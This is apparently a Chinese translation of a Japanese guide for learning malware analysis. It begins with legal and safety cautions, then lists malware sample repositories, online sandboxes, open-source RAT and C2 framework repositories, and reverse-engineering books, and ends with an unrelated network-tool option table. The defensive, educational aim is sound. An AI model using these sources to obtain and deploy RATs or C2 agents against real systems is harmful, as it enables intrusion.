此外,以下内容并非推荐获取恶意软件。

关于不正指令电磁记录相关之罪,恶意软件的创建、提供、获取、保管等,其目的及是否存在正当理由等会成为要件。
我并非法律专家,因此不清楚何种理由才符合法律上的`正当理由`。
出于个人兴趣进行恶意软件分析,也可能不被认定为`正当理由`。
如果被侦查会很困扰、如果打官司会很困扰、没有可以作为正当理由提出的活动实绩、没有辩护费用等,希望绝对过上平稳人生的人,最好不要出于个人兴趣去做。

话虽如此,我认为也没有必要过度恐惧而畏缩不前。
至少应当浏览警视厅公开的关于不正指令电磁记录相关之罪的页面,确认其内容。

- https://www.keishicho.metro.tokyo.jp/kurashi/cyber/law/virus.html

在处理恶意软件时需要注意的事情,并不只是法律层面。
执行恶意软件(无论是否故意)时,大多数情况下会访问攻击者准备的服务器。
攻击者的服务器上会留下自己所使用IP地址的日志,连接时也可能发送所使用系统的信息。
根据恶意软件的不同,也可能发生攻击者执行命令等情况,还可能进行内部网络扫描或(最应避免的)对外感染活动等。
记录在攻击者服务器上的信息不仅可能被攻击者本人使用,也可能被提供给第三方。此外,侦查机关可以扣押服务器并分析日志,然后向ISP提出信息披露请求。

如果符合以下任意一项,请避免使用实际恶意软件进行学习。

- 在处理恶意软件方面存在不安。
- 无法准备用于恶意软件分析的专用PC或独立网络等隔离环境。
- 是未成年人或学生,但在处理恶意软件进行分析或研究方面没有负责人(如果是社会人士,则无法作为全部自负责任来承担责任)。

即使不个人获取实际恶意软件,也有如前所述的学习方法。

最后,以前言结束,引用宅们大家都喜欢的以下名言。
- `With great power comes great responsibility`
- `The abyss gazes also into you.`

## 恶意软件共享服务/IoC共享服务

有一些用于共享恶意软件样本或IoC的服务。注册量最多且最有名的是VirusTotal,但由于仅付费账户可以下载,因此这里介绍可免费使用的服务。

以下两个服务作为样本获取来源较为有力。
- [MalwareBazaar](https://bazaar.abuse.ch/)
- [Vx Underground](https://www.vx-underground.org/)

作为参考信息,也列出以下服务。
- [URLhaus](https://urlhaus.abuse.ch/)
- [ThreatFox](https://threatfox.abuse.ch/)
- [MalShare](https://www.malshare.com/)
- [VirusShare](https://virusshare.com/)
- [VirusBay](https://beta.virusbay.io/)
- [Vx Vaul](http://vxvault.net//ViriList.php)
- [theZoo](https://thezoo.morirt.com/)
- [malpedia](https://malpedia.caad.fkie.fraunhofer.de/)

## 在线沙箱

可免费使用的在线沙箱服务本来是用于分析恶意软件行为的服务,但可以下载他人投稿的恶意软件。

- [Hybrid Analysis](https://www.hybrid-analysis.com/)
- [Any Run](https://app.any.run/)
- [Triage](https://tria.ge/)
- [Joe Sandbox](https://www.joesandbox.com/)
- [cape](https://capesandbox.com/)

## OSS RAT

以下是有助于理解RAT(Remote Access Trojan)实现的仓库。
通过比较源代码与实际二进制文件,可以学习通信处理、命令执行、文件操作等实现。

- [Lilith RAT](https://github.com/werkamsus/Lilith)
- [Quasar RAT](https://github.com/quasar/Quasar)
- [NGLite](https://github.com/Maka8ka/NGLite)
- [AsyncRAT](https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp)
- [trochilus RAT](https://github.com/5loyd/trochilus)
- [gh0st RAT](https://github.com/sin5678/gh0st)
- [Poison-Ivy-Reload](https://github.com/killeven/Poison-Ivy-Reload)
- [GitHub Topics rat](https://github.com/topics/rat)

## C2框架

为了理解恶意软件的C2通信或Agent实现,阅读开源公开的C2框架源代码也很有参考价值。
C2框架中实现了Agent与C2 Server之间的通信、命令的接收与执行、文件操作、进程操作、通信数据加密等恶意软件中也常见的功能。
由于各自的实现语言、Agent结构、通信方式不同,因此也可以一边比较源代码与生成的Agent,一边进行逆向工程。

- [Sliver](https://github.com/BishopFox/sliver)
- [Mythic](https://github.com/its-a-feature/Mythic)
- [Mythic Agents](https://github.com/MythicAgents)
- [AdaptixC2](https://github.com/Adaptix-Framework/AdaptixC2)
- [Empire](https://github.com/BC-SECURITY/Empire)
- [PoshC2](https://github.com/nettitude/PoshC2)
- [Merlin](https://github.com/Ne0nd0g/merlin)
- [MITRE CALDERA](https://github.com/mitre/caldera)
- [Havoc](https://github.com/HavocFramework/Havoc)
- [The C2 Matrix](https://www.sans.org/tools/the-c2-matrix)
  - 用于比较各种C2框架功能与特点的列表
下载工具
  • RecommendationofPerfectUnpacking
    • 中津留先生(@you0708)关于脱壳手法的资料。
  • 同人志 by Allsafe
    • 我所属的、以逆向工程和恶意软件分析技术为主的同人社团Allsafe的同人志。
  • Malware Analysis at Scale ~ Defeating EMOTET by Ghidra ~ by Allsafe
    • Allsafe的Emotet分析工作坊资料。
    • 分发脚本
  • Advanced Binary Deobfuscation
    • @ntddk先生在GCC Tokyo、安全训练营全国大会2020上关于二进制混淆及其解除技术的讲义。
  • MÖBIUS STRIP REVERSE ENGINEERING
    • 拥有丰富的运用CS领域知识和IDA内部结构的分析文章。 recommended by ntddk。
  • 逆向工程圣经
    • 用日语为初学者细致讲解的良书。
  • 基于调试器的x86程序分析入门 x64对应版
    • 如果想用日语学习调试,首先推荐这本。
  • 恶意软件教科书 增补修订版
    • 吉川孝志先生的书籍,广泛涵盖恶意软件的基础、攻击手法、勒索软件、分析方法。也具体讲解了如何开始分析,推荐给初学者掌握恶意软件的整体面貌。
  • 实践二进制分析
    • 涉及二进制格式、反汇编、二进制插桩、动态污点分析、符号执行等。虽然以Linux/ELF为中心,但对系统学习二进制分析本身很有用。
  • 精通Ghidra
    • 从Ghidra的基本操作到数据类型、脚本、扩展功能等详细讲解的综合解说书。
  • 实践 内存取证
    • 以使用Volatility的内存取证为中心,涉及进程、网络、代码注入、恶意软件分析等。
  • 威胁情报教科书
    • 虽然不是恶意软件分析书,但可以学习将分析过的样本、IoC、攻击手法与活动及攻击者信息关联起来的思路。
  • 选项描述
    -i, --interface指定网络接口
    -h, --host过滤特定主机
    -p, --port过滤特定端口
    -P, --protocol过滤特定协议
    -f, --format输出格式(text、json、pcap)
    -o, --output输出文件路径
    -r, --regex内容正则表达式过滤
    --sslkeylogfileTLS 解密密钥日志文件
    --process-info显示进程信息
    -v, --verbose详细输出
    --help显示帮助信息
    --version显示版本信息